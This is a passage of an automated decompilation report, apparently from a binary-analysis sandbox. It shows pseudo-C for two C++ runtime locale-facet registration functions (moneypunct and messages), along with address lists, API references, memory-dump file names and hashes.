										 *(_t550 - 0x10) = _t513;
										 *(_t550 - 4) = 1;
										E6DD16FD3(__eflags, _t513);
										 *0x6dd7a26c();
										 *((intOrPtr*)( *((intOrPtr*)( *_t513 + 4))))();
										 *0x6ddd6df4 = _t513;
										goto L12;
									}
								} else {
									_t513 = _t526;
									goto L12;
								}
							}
						} else {
							_t512 =  *(_t550 - 0x10);
							 *(_t550 - 0x10) = _t512;
							 *(_t550 - 4) = 1;
							E6DD16FD3(__eflags, _t512);
							 *0x6dd7a26c();
							 *((intOrPtr*)( *((intOrPtr*)( *_t512 + 4))))();
							 *0x6ddd6df8 = _t512;
							goto L5;
						}
					} else {
						_t512 = _t525;
						goto L5;
					}
				}
			}

0x6dd1f567
0x6dd1f567
0x6dd1f56e
0x6dd1f578
0x6dd1f57d
0x6dd1f588
0x6dd1f58c
0x6dd1f58f
0x6dd1f594
0x6dd1f598
0x6dd1f59d
0x6dd1f5a1
0x6dd1f5e6
0x6dd1f5e9
0x6dd1f5f5
0x6dd1f5a3
0x6dd1f5a5
0x6dd1f5ab
0x6dd1f5b1
0x6dd1f5b9
0x6dd1f5bc
0x6dd1f5f9
0x6dd1f607
0x6dd1f60c
0x6dd1f614
0x6dd1f61e
0x6dd1f623
0x6dd1f62e
0x6dd1f632
0x6dd1f635
0x6dd1f63a
0x6dd1f643
0x6dd1f645
0x6dd1f647
0x6dd1f68c
0x6dd1f68f
0x6dd1f69b
0x6dd1f649
0x6dd1f649
0x6dd1f64b
0x6dd1f651
0x6dd1f657
0x6dd1f65f
0x6dd1f662
0x6dd1f69f
0x6dd1f6ad
0x6dd1f6b2
0x6dd1f6ba
0x6dd1f6c4
0x6dd1f6c9
0x6dd1f6d4
0x6dd1f6d8
0x6dd1f6db
0x6dd1f6e0
0x6dd1f6e9
0x6dd1f6eb
0x6dd1f6ed
0x6dd1f732
0x6dd1f735
0x6dd1f741
0x6dd1f6ef
0x6dd1f6ef
0x6dd1f6f1
0x6dd1f6f7
0x6dd1f6fd
0x6dd1f705
0x6dd1f708
0x6dd1f745
0x6dd1f753
0x6dd1f758
0x6dd1f760
0x6dd1f76a
0x6dd1f76f
0x6dd1f77a
0x6dd1f77e
0x6dd1f781
0x6dd1f786
0x6dd1f78f
0x6dd1f791
0x6dd1f793
0x6dd1f7d8
0x6dd1f7db
0x6dd1f7e7
0x6dd1f795
0x6dd1f795
0x6dd1f797
0x6dd1f79d
0x6dd1f7a3
0x6dd1f7ab
0x6dd1f7ae
0x6dd1f7eb
0x6dd1f7f9
0x6dd1f7fe
0x6dd1f806
0x6dd1f810
0x6dd1f815
0x6dd1f820
0x6dd1f824
0x6dd1f827
0x6dd1f82c
0x6dd1f835
0x6dd1f837
0x6dd1f839
0x6dd1f87e
0x6dd1f881
0x6dd1f88d
0x6dd1f83b
0x6dd1f83b
0x6dd1f83d
0x6dd1f843
0x6dd1f849
0x6dd1f851
0x6dd1f854
0x6dd1f891
0x6dd1f89f
0x6dd1f8a4
0x6dd1f8ac
0x6dd1f8b6
0x6dd1f8bb
0x6dd1f8c6
0x6dd1f8ca
0x6dd1f8cd
0x6dd1f8d2
0x6dd1f8db
0x6dd1f8dd
0x6dd1f8df
0x6dd1f924
0x6dd1f927
0x6dd1f933
0x6dd1f8e1
0x6dd1f8e1
0x6dd1f8e3
0x6dd1f8e9
0x6dd1f8ef
0x6dd1f8f7
0x6dd1f8fa
0x6dd1f937
0x6dd1f945
0x6dd1f94a
0x6dd1f952
0x6dd1f95c
0x6dd1f961
0x6dd1f96c
0x6dd1f970
0x6dd1f973
0x6dd1f978
0x6dd1f981
0x6dd1f983
0x6dd1f985
0x6dd1f9ca
0x6dd1f9cd
0x6dd1f9d9
0x6dd1f987
0x6dd1f987
0x6dd1f989
0x6dd1f98f
0x6dd1f995
0x6dd1f99d
0x6dd1f9a0
0x6dd1f9dd
0x6dd1f9eb
0x6dd1f9f0
0x6dd1f9f8
0x6dd1fa02
0x6dd1fa07
0x6dd1fa12
0x6dd1fa16
0x6dd1fa19
0x6dd1fa1e
0x6dd1fa27
0x6dd1fa29
0x6dd1fa2b
0x6dd1fa70
0x6dd1fa73
0x6dd1fa7f
0x6dd1fa2d
0x6dd1fa2d
0x6dd1fa2f
0x6dd1fa35
0x6dd1fa3b
0x6dd1fa43
0x6dd1fa46
0x6dd1fa83
0x6dd1fa91
0x6dd1fa96
0x6dd1fa9e
0x6dd1faa8
0x6dd1faad
0x6dd1fab8
0x6dd1fabc
0x6dd1fabf
0x6dd1fac4
0x6dd1facd
0x6dd1facf
0x6dd1fad1
0x6dd1fb16
0x6dd1fb19
0x6dd1fb25
0x6dd1fad3
0x6dd1fad3
0x6dd1fad5
0x6dd1fadb
0x6dd1fae1
0x6dd1fae9
0x6dd1faec
0x6dd1fb29
0x6dd1fb37
0x6dd1fb3c
0x6dd1fb44
0x6dd1fb4e
0x6dd1fb53
0x6dd1fb5e
0x6dd1fb62
0x6dd1fb65
0x6dd1fb6a
0x6dd1fb73
0x6dd1fb75
0x6dd1fb77
0x6dd1fbbc
0x6dd1fbbf
0x6dd1fbcb
0x6dd1fb79
0x6dd1fb79
0x6dd1fb7b
0x6dd1fb81
0x6dd1fb87
0x6dd1fb8f
0x6dd1fb92
0x6dd1fbcf
0x6dd1fbdd
0x6dd1fbe2
0x6dd1fbea
0x6dd1fbf4
0x6dd1fbf9
0x6dd1fc04
0x6dd1fc08
0x6dd1fc0b
0x6dd1fc10
0x6dd1fc19
0x6dd1fc1b
0x6dd1fc1d
0x6dd1fc62
0x6dd1fc65
0x6dd1fc71
0x6dd1fc1f
0x6dd1fc1f
0x6dd1fc21
0x6dd1fc27
0x6dd1fc2d
0x6dd1fc35
0x6dd1fc38
0x6dd1fc75
0x6dd1fc83
0x6dd1fc88
0x6dd1fc90
0x6dd1fc9a
0x6dd1fc9f
0x6dd1fcaa
0x6dd1fcae
0x6dd1fcb1
0x6dd1fcb6
0x6dd1fcbf
0x6dd1fcc1
0x6dd1fcc3
0x6dd1fd08
0x6dd1fd0b
0x6dd1fd17
0x6dd1fcc5
0x6dd1fcc5
0x6dd1fcc7
0x6dd1fccd
0x6dd1fcd3
0x6dd1fcdb
0x6dd1fcde
0x6dd1fd18
0x6dd1fd1b
0x6dd1fd29
0x6dd1fd2e
0x6dd1fd36
0x6dd1fd3b
0x6dd1fd3d
0x6dd1fd43
0x6dd1fd46
0x6dd1fd4f
0x6dd1fd4f
0x6dd1fd4f
0x6dd1fd53
0x6dd1fd59
0x6dd1fd5c
0x6dd1fd68
0x6dd1fce0
0x6dd1fce0
0x6dd1fce3
0x6dd1fce7
0x6dd1fceb
0x6dd1fcf8
0x6dd1fd00
0x6dd1fd02
0x00000000
0x6dd1fd02
0x6dd1fcc9
0x6dd1fcc9
0x00000000
0x6dd1fcc9
0x6dd1fcc7
0x6dd1fc3a
0x6dd1fc3a
0x6dd1fc3d
0x6dd1fc41
0x6dd1fc45
0x6dd1fc52
0x6dd1fc5a
0x6dd1fc5c
0x00000000
0x6dd1fc5c
0x6dd1fc23
0x6dd1fc23
0x00000000
0x6dd1fc23
0x6dd1fc21
0x6dd1fb94
0x6dd1fb94
0x6dd1fb97
0x6dd1fb9b
0x6dd1fb9f
0x6dd1fbac
0x6dd1fbb4
0x6dd1fbb6
0x00000000
0x6dd1fbb6
0x6dd1fb7d
0x6dd1fb7d
0x00000000
0x6dd1fb7d
0x6dd1fb7b
0x6dd1faee
0x6dd1faee
0x6dd1faf1
0x6dd1faf5
0x6dd1faf9
0x6dd1fb06
0x6dd1fb0e
0x6dd1fb10
0x00000000
0x6dd1fb10
0x6dd1fad7
0x6dd1fad7
0x00000000
0x6dd1fad7
0x6dd1fad5
0x6dd1fa48
0x6dd1fa48
0x6dd1fa4b
0x6dd1fa4f
0x6dd1fa53
0x6dd1fa60
0x6dd1fa68
0x6dd1fa6a
0x00000000
0x6dd1fa6a
0x6dd1fa31
0x6dd1fa31
0x00000000
0x6dd1fa31
0x6dd1fa2f
0x6dd1f9a2
0x6dd1f9a2
0x6dd1f9a5
0x6dd1f9a9
0x6dd1f9ad
0x6dd1f9ba
0x6dd1f9c2
0x6dd1f9c4
0x00000000
0x6dd1f9c4
0x6dd1f98b
0x6dd1f98b
0x00000000
0x6dd1f98b
0x6dd1f989
0x6dd1f8fc
0x6dd1f8fc
0x6dd1f8ff
0x6dd1f903
0x6dd1f907
0x6dd1f914
0x6dd1f91c
0x6dd1f91e
0x00000000
0x6dd1f91e
0x6dd1f8e5
0x6dd1f8e5
0x00000000
0x6dd1f8e5
0x6dd1f8e3
0x6dd1f856
0x6dd1f856
0x6dd1f859
0x6dd1f85d
0x6dd1f861
0x6dd1f86e
0x6dd1f876
0x6dd1f878
0x00000000
0x6dd1f878
0x6dd1f83f
0x6dd1f83f
0x00000000
0x6dd1f83f
0x6dd1f83d
0x6dd1f7b0
0x6dd1f7b0
0x6dd1f7b3
0x6dd1f7b7
0x6dd1f7bb
0x6dd1f7c8
0x6dd1f7d0
0x6dd1f7d2
0x00000000
0x6dd1f7d2
0x6dd1f799
0x6dd1f799
0x00000000
0x6dd1f799
0x6dd1f797
0x6dd1f70a
0x6dd1f70a
0x6dd1f70d
0x6dd1f711
0x6dd1f715
0x6dd1f722
0x6dd1f72a
0x6dd1f72c
0x00000000
0x6dd1f72c
0x6dd1f6f3
0x6dd1f6f3
0x00000000
0x6dd1f6f3
0x6dd1f6f1
0x6dd1f664
0x6dd1f664
0x6dd1f667
0x6dd1f66b
0x6dd1f66f
0x6dd1f67c
0x6dd1f684
0x6dd1f686
0x00000000
0x6dd1f686
0x6dd1f64d
0x6dd1f64d
0x00000000
0x6dd1f64d
0x6dd1f64b
0x6dd1f5be
0x6dd1f5be
0x6dd1f5c1
0x6dd1f5c5
0x6dd1f5c9
0x6dd1f5d6
0x6dd1f5de
0x6dd1f5e0
0x00000000
0x6dd1f5e0
0x6dd1f5a7
0x6dd1f5a7
0x00000000
0x6dd1f5a7
0x6dd1f5a5

APIs

__EH_prolog3.LIBCMT ref: 6DD1F56E
std::_Lockit::_Lockit.LIBCPMT ref: 6DD1F578
int.LIBCPMT ref: 6DD1F58F

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

moneypunct.LIBCPMT ref: 6DD1F5B2
std::_Facet_Register.LIBCPMT ref: 6DD1F5C9
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1F5E9
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1F607

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrowmoneypunct
String ID:
API String ID: 113178234-0
Opcode ID: ddffdc37d050908e1ee1202d9469dec5442b488bcbb13900e724303199a01d69
Instruction ID: 827b4c8c37d7d525de8e4f6516cc7f6cad9d1a48cd65d4f9494db742267af5f4
Opcode Fuzzy Hash: ddffdc37d050908e1ee1202d9469dec5442b488bcbb13900e724303199a01d69
Instruction Fuzzy Hash: 1011CE7284C1298BCF01FFA4DC40AEDB770EF91324F260009F620A7290EB749A058BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD2B7F2, Relevance: 10.6, APIs: 7, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E6DD2B7F2(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t111;
				signed int _t112;
				void* _t124;
				void* _t137;
				void* _t150;
				void* _t163;
				void* _t176;
				void* _t189;
				signed int _t283;
				signed int _t308;
				signed int _t309;
				signed int _t310;
				signed int _t311;
				signed int _t312;
				signed int _t313;
				signed int _t315;
				signed int _t316;
				signed int _t317;
				signed int _t318;
				signed int _t319;
				signed int _t320;
				signed int _t321;
				signed int _t322;
				void* _t330;

				_t305 = __edx;
				_t234 = __ebx;
				E6DD300AC(0x6dd783cf, __ebx, __edi, __esi, 0x14);
				E6DD16653(_t330 - 0x14, 0);
				_t315 =  *0x6ddd6e2c; // 0x0
				 *(_t330 - 4) =  *(_t330 - 4) & 0x00000000;
				 *(_t330 - 0x10) = _t315;
				_t111 = E6DCF161C(0x6ddd6e0c);
				_t237 =  *((intOrPtr*)(_t330 + 8));
				_t112 = E6DCF171B( *((intOrPtr*)(_t330 + 8)), _t111);
				_t307 = _t112;
				if(_t112 != 0) {
					L5:
					E6DD166BA(_t330 - 0x14);
					return E6DD30075(_t307);
				} else {
					if(_t315 == 0) {
						_push( *((intOrPtr*)(_t330 + 8)));
						_push(_t330 - 0x10);
						__eflags = E6DD2BFE8(__ebx, _t237, __edx, _t307, _t315) - 0xffffffff;
						if(__eflags == 0) {
							E6DCF1438(_t330 - 0x20);
							E6DD33D74(_t330 - 0x20, 0x6ddd3504);
							asm("int3");
							E6DD300AC(0x6dd783cf, __ebx, _t307, _t315, 0x14);
							E6DD16653(_t330 - 0x14, 0);
							_t316 =  *0x6ddd6e30; // 0x0
							 *(_t330 - 4) =  *(_t330 - 4) & 0x00000000;
							 *(_t330 - 0x10) = _t316;
							_t124 = E6DCF161C(0x6ddd6e10);
							_t244 =  *((intOrPtr*)(_t330 + 8));
							_t308 = E6DCF171B( *((intOrPtr*)(_t330 + 8)), _t124);
							__eflags = _t308;
							if(_t308 != 0) {
								L12:
								E6DD166BA(_t330 - 0x14);
								return E6DD30075(_t308);
							} else {
								__eflags = _t316;
								if(_t316 == 0) {
									_push( *((intOrPtr*)(_t330 + 8)));
									_push(_t330 - 0x10);
									__eflags = E6DD2C050(_t234, _t244, __edx, _t308, _t316) - 0xffffffff;
									if(__eflags == 0) {
										E6DCF1438(_t330 - 0x20);
										E6DD33D74(_t330 - 0x20, 0x6ddd3504);
										asm("int3");
										E6DD300AC(0x6dd783cf, _t234, _t308, _t316, 0x14);
										E6DD16653(_t330 - 0x14, 0);
										_t317 =  *0x6ddd6e34; // 0x0
										 *(_t330 - 4) =  *(_t330 - 4) & 0x00000000;
										 *(_t330 - 0x10) = _t317;
										_t137 = E6DCF161C(0x6ddd6e14);
										_t251 =  *((intOrPtr*)(_t330 + 8));
										_t309 = E6DCF171B( *((intOrPtr*)(_t330 + 8)), _t137);
										__eflags = _t309;
										if(_t309 != 0) {
											L19:
											E6DD166BA(_t330 - 0x14);
											return E6DD30075(_t309);
										} else {
											__eflags = _t317;
											if(_t317 == 0) {
												_push( *((intOrPtr*)(_t330 + 8)));
												_push(_t330 - 0x10);
												__eflags = E6DD2C0B8(_t234, _t251, __edx, _t309, _t317) - 0xffffffff;
												if(__eflags == 0) {
													E6DCF1438(_t330 - 0x20);
													E6DD33D74(_t330 - 0x20, 0x6ddd3504);
													asm("int3");
													E6DD300AC(0x6dd783cf, _t234, _t309, _t317, 0x14);
													E6DD16653(_t330 - 0x14, 0);
													_t318 =  *0x6ddd6e3c; // 0x0
													 *(_t330 - 4) =  *(_t330 - 4) & 0x00000000;
													 *(_t330 - 0x10) = _t318;
													_t150 = E6DCF161C(0x6ddd6e1c);
													_t258 =  *((intOrPtr*)(_t330 + 8));
													_t310 = E6DCF171B( *((intOrPtr*)(_t330 + 8)), _t150);
													__eflags = _t310;
													if(_t310 != 0) {
														L26:
														E6DD166BA(_t330 - 0x14);
														return E6DD30075(_t310);
													} else {
														__eflags = _t318;
														if(_t318 == 0) {
															_push( *((intOrPtr*)(_t330 + 8)));
															_push(_t330 - 0x10);
															__eflags = E6DD2C120(_t234, _t258, _t305, _t310, _t318) - 0xffffffff;
															if(__eflags == 0) {
																E6DCF1438(_t330 - 0x20);
																E6DD33D74(_t330 - 0x20, 0x6ddd3504);
																asm("int3");
																E6DD300AC(0x6dd783cf, _t234, _t310, _t318, 0x14);
																E6DD16653(_t330 - 0x14, 0);
																_t319 =  *0x6ddd6e38; // 0x0
																 *(_t330 - 4) =  *(_t330 - 4) & 0x00000000;
																 *(_t330 - 0x10) = _t319;
																_t163 = E6DCF161C(0x6ddd6e18);
																_t265 =  *((intOrPtr*)(_t330 + 8));
																_t311 = E6DCF171B( *((intOrPtr*)(_t330 + 8)), _t163);
																__eflags = _t311;
																if(_t311 != 0) {
																	L33:
																	E6DD166BA(_t330 - 0x14);
																	return E6DD30075(_t311);
																} else {
																	__eflags = _t319;
																	if(_t319 == 0) {
																		_push( *((intOrPtr*)(_t330 + 8)));
																		_push(_t330 - 0x10);
																		__eflags = E6DD2C1A4(_t234, _t265, _t305, _t311, _t319) - 0xffffffff;
																		if(__eflags == 0) {
																			E6DCF1438(_t330 - 0x20);
																			E6DD33D74(_t330 - 0x20, 0x6ddd3504);
																			asm("int3");
																			E6DD300AC(0x6dd783cf, _t234, _t311, _t319, 0x14);
																			E6DD16653(_t330 - 0x14, 0);
																			_t320 =  *0x6ddd6e40; // 0x0
																			 *(_t330 - 4) =  *(_t330 - 4) & 0x00000000;
																			 *(_t330 - 0x10) = _t320;
																			_t176 = E6DCF161C(0x6ddd6e20);
																			_t272 =  *((intOrPtr*)(_t330 + 8));
																			_t312 = E6DCF171B( *((intOrPtr*)(_t330 + 8)), _t176);
																			__eflags = _t312;
																			if(_t312 != 0) {
																				L40:
																				E6DD166BA(_t330 - 0x14);
																				return E6DD30075(_t312);
																			} else {
																				__eflags = _t320;
																				if(_t320 == 0) {
																					_push( *((intOrPtr*)(_t330 + 8)));
																					_push(_t330 - 0x10);
																					__eflags = E6DD2C229(_t234, _t272, _t305, _t312, _t320) - 0xffffffff;
																					if(__eflags == 0) {
																						E6DCF1438(_t330 - 0x20);
																						E6DD33D74(_t330 - 0x20, 0x6ddd3504);
																						asm("int3");
																						E6DD300AC(0x6dd783cf, _t234, _t312, _t320, 0x14);
																						E6DD16653(_t330 - 0x14, 0);
																						_t321 =  *0x6ddd6e44; // 0x0
																						 *(_t330 - 4) =  *(_t330 - 4) & 0x00000000;
																						 *(_t330 - 0x10) = _t321;
																						_t189 = E6DCF161C(0x6ddd6e24);
																						_t279 =  *((intOrPtr*)(_t330 + 8));
																						_t313 = E6DCF171B( *((intOrPtr*)(_t330 + 8)), _t189);
																						__eflags = _t313;
																						if(_t313 != 0) {
																							L47:
																							E6DD166BA(_t330 - 0x14);
																							return E6DD30075(_t313);
																						} else {
																							__eflags = _t321;
																							if(_t321 == 0) {
																								_push( *((intOrPtr*)(_t330 + 8)));
																								_push(_t330 - 0x10);
																								__eflags = E6DD2C295(_t234, _t279, _t305, _t313, _t321) - 0xffffffff;
																								if(__eflags == 0) {
																									_t283 = _t330 - 0x20;
																									E6DCF1438(_t283);
																									E6DD33D74(_t330 - 0x20, 0x6ddd3504);
																									asm("int3");
																									E6DD300AC(0x6dd7851f, _t234, _t313, _t321, 4);
																									_t322 = _t283;
																									 *(_t330 - 0x10) = _t322;
																									 *((intOrPtr*)(_t322 + 4)) =  *((intOrPtr*)(_t330 + 0xc));
																									_push( *((intOrPtr*)(_t330 + 0x14)));
																									_t105 = _t330 - 4;
																									 *_t105 =  *(_t330 - 4) & 0x00000000;
																									__eflags =  *_t105;
																									 *_t322 = 0x6dd7c414;
																									 *((char*)(_t322 + 0x28)) =  *((intOrPtr*)(_t330 + 0x10));
																									E6DD2D028(_t234, _t283, _t305, _t313, _t322,  *_t105);
																									return E6DD30075(_t322,  *((intOrPtr*)(_t330 + 8)));
																								} else {
																									_t313 =  *(_t330 - 0x10);
																									 *(_t330 - 0x10) = _t313;
																									 *(_t330 - 4) = 1;
																									E6DD16FD3(__eflags, _t313);
																									 *0x6dd7a26c();
																									 *((intOrPtr*)( *((intOrPtr*)( *_t313 + 4))))();
																									 *0x6ddd6e44 = _t313;
																									goto L47;
																								}
																							} else {
																								_t313 = _t321;
																								goto L47;
																							}
																						}
																					} else {
																						_t312 =  *(_t330 - 0x10);
																						 *(_t330 - 0x10) = _t312;
																						 *(_t330 - 4) = 1;
																						E6DD16FD3(__eflags, _t312);
																						 *0x6dd7a26c();
																						 *((intOrPtr*)( *((intOrPtr*)( *_t312 + 4))))();
																						 *0x6ddd6e40 = _t312;
																						goto L40;
																					}
																				} else {
																					_t312 = _t320;
																					goto L40;
																				}
																			}
																		} else {
																			_t311 =  *(_t330 - 0x10);
																			 *(_t330 - 0x10) = _t311;
																			 *(_t330 - 4) = 1;
																			E6DD16FD3(__eflags, _t311);
																			 *0x6dd7a26c();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t311 + 4))))();
																			 *0x6ddd6e38 = _t311;
																			goto L33;
																		}
																	} else {
																		_t311 = _t319;
																		goto L33;
																	}
																}
															} else {
																_t310 =  *(_t330 - 0x10);
																 *(_t330 - 0x10) = _t310;
																 *(_t330 - 4) = 1;
																E6DD16FD3(__eflags, _t310);
																 *0x6dd7a26c();
																 *((intOrPtr*)( *((intOrPtr*)( *_t310 + 4))))();
																 *0x6ddd6e3c = _t310;
																goto L26;
															}
														} else {
															_t310 = _t318;
															goto L26;
														}
													}
												} else {
													_t309 =  *(_t330 - 0x10);
													 *(_t330 - 0x10) = _t309;
													 *(_t330 - 4) = 1;
													E6DD16FD3(__eflags, _t309);
													 *0x6dd7a26c();
													 *((intOrPtr*)( *((intOrPtr*)( *_t309 + 4))))();
													 *0x6ddd6e34 = _t309;
													goto L19;
												}
											} else {
												_t309 = _t317;
												goto L19;
											}
										}
									} else {
										_t308 =  *(_t330 - 0x10);
										 *(_t330 - 0x10) = _t308;
										 *(_t330 - 4) = 1;
										E6DD16FD3(__eflags, _t308);
										 *0x6dd7a26c();
										 *((intOrPtr*)( *((intOrPtr*)( *_t308 + 4))))();
										 *0x6ddd6e30 = _t308;
										goto L12;
									}
								} else {
									_t308 = _t316;
									goto L12;
								}
							}
						} else {
							_t307 =  *(_t330 - 0x10);
							 *(_t330 - 0x10) = _t307;
							 *(_t330 - 4) = 1;
							E6DD16FD3(__eflags, _t307);
							 *0x6dd7a26c();
							 *((intOrPtr*)( *((intOrPtr*)( *_t307 + 4))))();
							 *0x6ddd6e2c = _t307;
							goto L5;
						}
					} else {
						_t307 = _t315;
						goto L5;
					}
				}
			}

0x6dd2b7f2
0x6dd2b7f2
0x6dd2b7f9
0x6dd2b803
0x6dd2b808
0x6dd2b813
0x6dd2b817
0x6dd2b81a
0x6dd2b81f
0x6dd2b823
0x6dd2b828
0x6dd2b82c
0x6dd2b871
0x6dd2b874
0x6dd2b880
0x6dd2b82e
0x6dd2b830
0x6dd2b836
0x6dd2b83c
0x6dd2b844
0x6dd2b847
0x6dd2b884
0x6dd2b892
0x6dd2b897
0x6dd2b89f
0x6dd2b8a9
0x6dd2b8ae
0x6dd2b8b9
0x6dd2b8bd
0x6dd2b8c0
0x6dd2b8c5
0x6dd2b8ce
0x6dd2b8d0
0x6dd2b8d2
0x6dd2b917
0x6dd2b91a
0x6dd2b926
0x6dd2b8d4
0x6dd2b8d4
0x6dd2b8d6
0x6dd2b8dc
0x6dd2b8e2
0x6dd2b8ea
0x6dd2b8ed
0x6dd2b92a
0x6dd2b938
0x6dd2b93d
0x6dd2b945
0x6dd2b94f
0x6dd2b954
0x6dd2b95f
0x6dd2b963
0x6dd2b966
0x6dd2b96b
0x6dd2b974
0x6dd2b976
0x6dd2b978
0x6dd2b9bd
0x6dd2b9c0
0x6dd2b9cc
0x6dd2b97a
0x6dd2b97a
0x6dd2b97c
0x6dd2b982
0x6dd2b988
0x6dd2b990
0x6dd2b993
0x6dd2b9d0
0x6dd2b9de
0x6dd2b9e3
0x6dd2b9eb
0x6dd2b9f5
0x6dd2b9fa
0x6dd2ba05
0x6dd2ba09
0x6dd2ba0c
0x6dd2ba11
0x6dd2ba1a
0x6dd2ba1c
0x6dd2ba1e
0x6dd2ba63
0x6dd2ba66
0x6dd2ba72
0x6dd2ba20
0x6dd2ba20
0x6dd2ba22
0x6dd2ba28
0x6dd2ba2e
0x6dd2ba36
0x6dd2ba39
0x6dd2ba76
0x6dd2ba84
0x6dd2ba89
0x6dd2ba91
0x6dd2ba9b
0x6dd2baa0
0x6dd2baab
0x6dd2baaf
0x6dd2bab2
0x6dd2bab7
0x6dd2bac0
0x6dd2bac2
0x6dd2bac4
0x6dd2bb09
0x6dd2bb0c
0x6dd2bb18
0x6dd2bac6
0x6dd2bac6
0x6dd2bac8
0x6dd2bace
0x6dd2bad4
0x6dd2badc
0x6dd2badf
0x6dd2bb1c
0x6dd2bb2a
0x6dd2bb2f
0x6dd2bb37
0x6dd2bb41
0x6dd2bb46
0x6dd2bb51
0x6dd2bb55
0x6dd2bb58
0x6dd2bb5d
0x6dd2bb66
0x6dd2bb68
0x6dd2bb6a
0x6dd2bbaf
0x6dd2bbb2
0x6dd2bbbe
0x6dd2bb6c
0x6dd2bb6c
0x6dd2bb6e
0x6dd2bb74
0x6dd2bb7a
0x6dd2bb82
0x6dd2bb85
0x6dd2bbc2
0x6dd2bbd0
0x6dd2bbd5
0x6dd2bbdd
0x6dd2bbe7
0x6dd2bbec
0x6dd2bbf7
0x6dd2bbfb
0x6dd2bbfe
0x6dd2bc03
0x6dd2bc0c
0x6dd2bc0e
0x6dd2bc10
0x6dd2bc55
0x6dd2bc58
0x6dd2bc64
0x6dd2bc12
0x6dd2bc12
0x6dd2bc14
0x6dd2bc1a
0x6dd2bc20
0x6dd2bc28
0x6dd2bc2b
0x6dd2bc65
0x6dd2bc68
0x6dd2bc76
0x6dd2bc7b
0x6dd2bc83
0x6dd2bc88
0x6dd2bc8a
0x6dd2bc90
0x6dd2bc93
0x6dd2bc9c
0x6dd2bc9c
0x6dd2bc9c
0x6dd2bca0
0x6dd2bca6
0x6dd2bca9
0x6dd2bcb5
0x6dd2bc2d
0x6dd2bc2d
0x6dd2bc30
0x6dd2bc34
0x6dd2bc38
0x6dd2bc45
0x6dd2bc4d
0x6dd2bc4f
0x00000000
0x6dd2bc4f
0x6dd2bc16
0x6dd2bc16
0x00000000
0x6dd2bc16
0x6dd2bc14
0x6dd2bb87
0x6dd2bb87
0x6dd2bb8a
0x6dd2bb8e
0x6dd2bb92
0x6dd2bb9f
0x6dd2bba7
0x6dd2bba9
0x00000000
0x6dd2bba9
0x6dd2bb70
0x6dd2bb70
0x00000000
0x6dd2bb70
0x6dd2bb6e
0x6dd2bae1
0x6dd2bae1
0x6dd2bae4
0x6dd2bae8
0x6dd2baec
0x6dd2baf9
0x6dd2bb01
0x6dd2bb03
0x00000000
0x6dd2bb03
0x6dd2baca
0x6dd2baca
0x00000000
0x6dd2baca
0x6dd2bac8
0x6dd2ba3b
0x6dd2ba3b
0x6dd2ba3e
0x6dd2ba42
0x6dd2ba46
0x6dd2ba53
0x6dd2ba5b
0x6dd2ba5d
0x00000000
0x6dd2ba5d
0x6dd2ba24
0x6dd2ba24
0x00000000
0x6dd2ba24
0x6dd2ba22
0x6dd2b995
0x6dd2b995
0x6dd2b998
0x6dd2b99c
0x6dd2b9a0
0x6dd2b9ad
0x6dd2b9b5
0x6dd2b9b7
0x00000000
0x6dd2b9b7
0x6dd2b97e
0x6dd2b97e
0x00000000
0x6dd2b97e
0x6dd2b97c
0x6dd2b8ef
0x6dd2b8ef
0x6dd2b8f2
0x6dd2b8f6
0x6dd2b8fa
0x6dd2b907
0x6dd2b90f
0x6dd2b911
0x00000000
0x6dd2b911
0x6dd2b8d8
0x6dd2b8d8
0x00000000
0x6dd2b8d8
0x6dd2b8d6
0x6dd2b849
0x6dd2b849
0x6dd2b84c
0x6dd2b850
0x6dd2b854
0x6dd2b861
0x6dd2b869
0x6dd2b86b
0x00000000
0x6dd2b86b
0x6dd2b832
0x6dd2b832
0x00000000
0x6dd2b832
0x6dd2b830

APIs

__EH_prolog3.LIBCMT ref: 6DD2B7F9
std::_Lockit::_Lockit.LIBCPMT ref: 6DD2B803
int.LIBCPMT ref: 6DD2B81A

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

messages.LIBCPMT ref: 6DD2B83D
std::_Facet_Register.LIBCPMT ref: 6DD2B854
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD2B874
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD2B892

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrowmessages
String ID:
API String ID: 438560357-0
Opcode ID: f592b7a8b288fb7119efc813a50440e8960474f877922ec5e32c463f89427771
Instruction ID: ba3d2de182e64ae5cd665d0da3c42fbf0fcc721b938ec857513b5ae4cdaa3200
Opcode Fuzzy Hash: f592b7a8b288fb7119efc813a50440e8960474f877922ec5e32c463f89427771
